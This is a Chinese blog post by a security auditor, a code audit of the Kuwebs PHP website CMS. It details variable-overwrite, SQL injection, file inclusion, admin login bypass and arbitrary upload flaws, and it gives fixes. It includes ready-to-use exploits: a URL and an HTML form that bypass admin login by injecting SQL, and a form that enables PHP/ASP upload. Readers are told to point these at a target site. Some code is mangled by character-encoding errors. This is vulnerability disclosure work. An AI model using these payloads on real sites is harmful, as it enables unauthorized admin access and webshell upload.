先来个介绍:
酷纬企业网站管理系统是酷纬信息 ( www.kuwebs.com) 开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用 PHP+Mysql 架构,内置企业简介模块、新闻模块、产品模块、图片模块、下载模块、在线留言模块、常见问题模块、友情链接模块。前台采用 DIV+CSS ,遵循 SEO 标准,通过模板或者定制为企业提供专业的营销型网站。
19 万。。。
代码审计推荐工具:Seay PHP 代码审计工具 2012 终结版
下载地址:http://www.2cto.com/soft/201211/35390.html
作者: Seay
博客:http://www.cnseay.com/
本文及EXP下载: http://www.cnseay.com/wp-content/uploads/2012/12/kuwebs代码审计报告 漏洞 打包与修复.rar
部分漏洞列表:
一、变量覆盖漏洞
二、发表留言处盲注
三、在线应聘处盲注
四、getIP()函数鸡肋注入
五、文件包含漏洞
六、变量覆盖,注入满天飞之后台绕过登陆多种方法
七、任意文件上传漏洞
八、在线反馈注入漏洞
无限注入。。。
任意文件删除。。。
任意文件 下载 。。。
无限。。。。
一、变量覆盖漏洞
看首页文件 index.php 一开始就包含 ‘inc/common.inc.php’ 跟进去看看。
<?php
require_once ’inc/common.inc.php’; // 加载系统公共函数和系统的前台配置文件
if(2 == $kuWebsiteHTMLStartType)
{
//echo $kuHttpPath.’index_’.$kuWebsiteDefauleIndexLanguage.$kuWebsiteTempHTMLType;
$content = @file_get_contents($kuHttpPath.’index_’.$lang.transferHTMLType($kuWebsiteHTMLType));
if(!empty($content))
{
echo $content;
exit;
}
}
‘inc/common.inc.php’ 和 admin\inc\common.inc.php看到了一段经典代码,变量覆盖
$_POST = filterChar($_POST);
$_GET = filterChar($_GET);
$_COOKIE = filterChar($_COOKIE);
if(!ini_get(‘register_globals’))
{
@extract($_COOKIE, EXTR_SKIP);
@extract($_FILES, EXTR_SKIP);
}
foreach(array(‘_COOKIE’, ’_POST’, ’_GET’) as $_request)
{
foreach($$_request as $_key => $_value)
{
$key{0} != ’_' && $$_key = daddslashes($_value);
}
}
修复:不要懒着定义变量,想省点事注册变量就把这段代码丢前面一点
二、发表留言处盲注
message/add.php 文件
<?php
require_once ’inc/common.inc.php’;
$kuMessageBackSendUrl = $kuHttpPath.]message/index.php?lang={$kuWebsiteCurrLanguage}&menuid={$menuid}&page=1″;
$strSql = ]select id, menutitle from {$configTableHead}menu where fatherid={$menuid} and lang=’{$kuWebsiteEditVersionLanguage}’;];
$result = $dbInstance->query($strSql);
while($row = $dbInstance->fetchArray($result))
{
$secondMenuNav[] = $row;
}
$menuid 无单引号压力。
修复:单引号
三、在线应聘处盲注
/job/resume.php 文件 第 40 行
$arrMenuInfo = getMenuIdInfo($menuid);
$topMenuId = ];
if(count($kuMenuList[$kuProductShow['type3']]))$topMenuId = $arrMenuInfo['type3'];
else if(count($kuMenuList[$kuProductShow['type2']]))$topMenuId = $arrMenuInfo['type2'];
else if(count($kuMenuList[$kuProductShow['type1']]))$topMenuId = $arrMenuInfo['type1'];
getMenuIdInfo($menuid) 我们跟进看一下
在 \inc\commonfunc.inc.php 文件 435 行
function getMenuIdInfo($id)
{
if(] == $id || 0 > $id)return;
global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;
$strSql = ]select id, fatherid from {$configTableHead}menu where id={$id};];
$row1 = $dbInstance->getOne($strSql);
看到带入了 数据库 ,同样的无单引号压力注入
修复:单引号
五、getIP()函数鸡肋注入
\inc\commonfunc.inc.php 文件和 admin/inc/commonfunc.inc.php
function getIP()
{
if (getenv([HTTP_CLIENT_IP]) && strcasecmp(getenv([HTTP_CLIENT_IP]), ]unknown])) {$ip = getenv([HTTP_CLIENT_IP]);}
else if (getenv([HTTP_X_FORWARDED_FOR]) && strcasecmp(getenv([HTTP_X_FORWARDED_FOR]), ]unknown])) {$ip = getenv([HTTP_X_FORWARDED_FOR]); }
else if (getenv([REMOTE_ADDR]) && strcasecmp(getenv([REMOTE_ADDR]), ]unknown])) {$ip = getenv([REMOTE_ADDR]); }
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], ]unknown])){$ip = $_SERVER['REMOTE_ADDR']; }
else {$ip = ]unknown]; }
return($ip);
}
经常出现的一个问题,木有过滤,无视GPC , HTTP_CLIENT_IP我们可控,导致注入,蛋疼这个函数只在后台调用了几次。登陆处有调用,但是木用。
修复:验证IP 地址格式
五、文件包含漏洞
在 admin//index.php 文件
<?php
session_start(); // 开启 session
require_once(‘inc/common.inc.php’);
if(!empty($menu) && !empty($path)) // 入口参数的判定
{
if(‘php’ == fileExt($menu)) // 判断 menu 是否 PHP 文件
{
include_once($path.’/’.$menu);
}
else
{
include_once($path.’/’.$menu.’.inc.php’);
}
exit;
}
include_once(‘inc/logincheck.php’); // 管理员登陆模块的加载
include_once(‘template/’.$adminTemplateName.’/index.html’); // 加载后台 index.html 静态页面
?>
接收到参数,包含了再判断有木有登陆,晚了,结合它的变量覆盖, $menu 和 $path 我们都可控,直接包含。
修复:敢不敢别这么包含文件
六、变量覆盖,注入满天飞之后台绕过登陆多种方法
绕过登陆一、
我们先看他的验证登陆的文件 admin/inc/ logincheck.php
<?php
session_start();
require_once(‘common.inc.php’);
$adminId = $_SESSION['adminid'];
$adminUser = $_SESSION['adminuser'];
$adminPassword = $_SESSION['adminpassword'];
$strSql = ]select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’{$adminUser}’ and adminpassword = ’{$adminPassword}’;];
$row = $dbInstance->getOne($strSql);
if(1 > $row['id'])
{
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptNonLogin, $configJumpTime);
exit;
}
?>
$configTableHead 变量我们可覆盖哦,有问题,直接覆盖注入
EXP:
http://www.cnseay.com/admin1/left.php?lang=cn&configTableHead=kuwebs_admin limit 1%23 seay
绕过登陆二、
我们再看看登陆的文件 Admin/login/login_action.inc.php 文件 104 行 $c onfigTableHead 变量
else if([] == $action)
{
$userName = trim($_POST['username']);
$password = $_POST['pass'];
$checkCode = trim($_POST['checkCode']);
if(empty($checkCode) || $_SESSION["code"] != $checkCode)
{
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptEmptyCheckCode, $configJumpTime, $adminHttpImgPath, $kuLanguage);
exit;
}
if(1 > strlen($userName) || 1 > strlen($password))
{
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptEmptyLogin, $configJumpTime);
exit;
}
$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);
$strSql = ]select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;];
$row = $dbInstance->getOne($strSql);
if(1 > $row['id'])
{
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptLoginFail, $configJumpTime);
exit;
}
else
{
$_SESSION['adminid'] = $row['id'];
$_SESSION['adminuser'] = $row['adminuser'];
$_SESSION['adminpassword'] = $row['adminpassword'];
if($configIsLog)CommTool::writeLog([]);
if($configIsLog)CommTool::writeLog([{$_SESSION['adminuser']} login to system]);
$adminmodifyip = getIP();
$strSql = ]update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}];
if($dbInstance->query($strSql))
{
promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);
exit;
}
else
{
$_SESSION['adminid'] = ];
$_SESSION['adminuser'] = ];
$_SESSION['adminpassword'] = ];
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptLoginUpdateFail, $configJumpTime);
exit;
}
}
很明显的, 本来 我们可以利用前面的变量覆盖来覆盖$configTableHead再注入,绕过登陆,
蛋疼的后面
$strSql = ]update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}];
if($dbInstance->query($strSql))
{
promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);
exit;
}
else
{
$_SESSION['adminid'] = ];
$_SESSION['adminuser'] = ];
$_SESSION['adminpassword'] = ];
记录管理登陆日志,这个不跟前面的注入复合,又回滚了session ,原本登陆了就又消失了。
不过我们往上看一点。第 16 行开始
else if([relogin] == $action)
{
$oldAdminUser = $_SESSION['adminuser'];
$_SESSION['adminid'] = ]";
$_SESSION['adminuser'] = ]";
$_SESSION['adminpassword'] = ]";
$userName = trim($_POST['username']);
$password = $_POST['pass'];
if($configIsLog)CommTool::writeLog([$oldAdminUser Exit. Change into $userName to login]);
if(1 > strlen($userName) || 1 > strlen($password))
{
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptNonLogin, $configJumpTime);
exit;
}
$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);
$strSql = ]select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;];
$row = $dbInstance->getOne($strSql);
if(1 > $row['id'])
{
if($configIsLog)CommTool::writeLog([{$_SESSION['adminuser']} login to system failed]);
promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptLoginFail, $configJumpTime);
exit;
}
else
{
$_SESSION['adminid'] = $row['id'];
$_SESSION['adminuser'] = $row['adminuser'];
$_SESSION['adminpassword'] = $row['adminpassword'];
if($configIsLog)CommTool::writeLog([{$_SESSION['adminuser']} login to system Success]);
promptMessage([index.php], $promptLoginSuccess, $configJumpTime);
exit;
}
很明显,这里没有回滚session ,那我们就可以覆盖 $configTableHead变量来注入绕过登陆了
EXP :
<html>
<head>
<title>www.cnseay.com</title>
</head>
<body>
<form name=]form1″ method=]post] action=]http://www.cnseay.com/admin1/index.php?lang=cn&path=login&menu=login_action&action=relogin]>
<input name=]username] type=]hidden] value=]admin] />
<input name=]pass] type=]hidden] value=]admin] />
<input name=]configTableHead] type=]hidden] value=]kuwebs_admin limit 1# 1″ />
<input type=]submit] value=] 登 陆 [>
</form>
</body>
</html>
把 www.cnseay.com /admin1修改成网站后台地址,点击登陆即可。
当然绕过的方法不止这些,还有比如覆盖数据库连接字符的等等。
修复:不多说。。。
八、任意文件上传漏洞
像这种变量覆盖的,基本都有任意文件上传。
看到 admin/ uploadfilesave.php 文件木有验证登陆权限,再看 72 行
$downloadurl=upload(‘imgurl’, $kuWebsiteAllowUploadFileFormat);
看看upload函数
function upload($form, $fileFormat)
{
global $promptIncludeDirUploadFileCanNotWrite, $promptIncludeDirCorrectUploadFileFormat, $promptIncludeDirCopyUploadFileError;
if (is_array($form))
{
$filear = $form;
}
else
{
$filear = $_FILES[$form];
}
/.. 省略 ./
if ($fileFormat != ]" && !in_array(strtolower($ext), explode([|], strtolower($fileFormat))))
可见我们只要覆盖$kuWebsiteAllowUploadFileFormat 变量即可上传任意文件。
直接给出 EXP :
<form name=]form1″ enctype=]multipart/form-data] method=]post] action=]http://www.cnseay.com/admin/include/uploadfilesave.php?action=add]>
<input type=]file] name=]imgurl]>
<input type=]hidden] name=]kuWebsiteAllowUploadFileFormat] value=]php| asp |aspx]>
<input type=]submit] name=]Submit] value=] 日 [>
</form>
修复:不多说。。。
八、在线反馈注入漏洞
看到文件plus/feedback.php 105 行
$strSql = ]select * from {$configTableHead}{$fType} where id={$objectid}];
同样无单引号压力
测试:
无限注入:
这种注入还有不少,比如 admin/menu/ menu_modify.inc.php文件等
$strFather = ]select * from {$configTableHead}menu where id={$fatherId};];
就不列那么多了。
修复 :单引号。。。
变量覆盖是个大问题啊,容易导致二次利用的漏洞,上面说的任意文件删除什么的,自己到后台黑盒看看就知道了。
暂时先看到这里了,问题太多,等修复了再看看吧。
查看更多关于kuwebs代码审计报告各种鸡肋漏洞打包与修复 - 网的详细内容...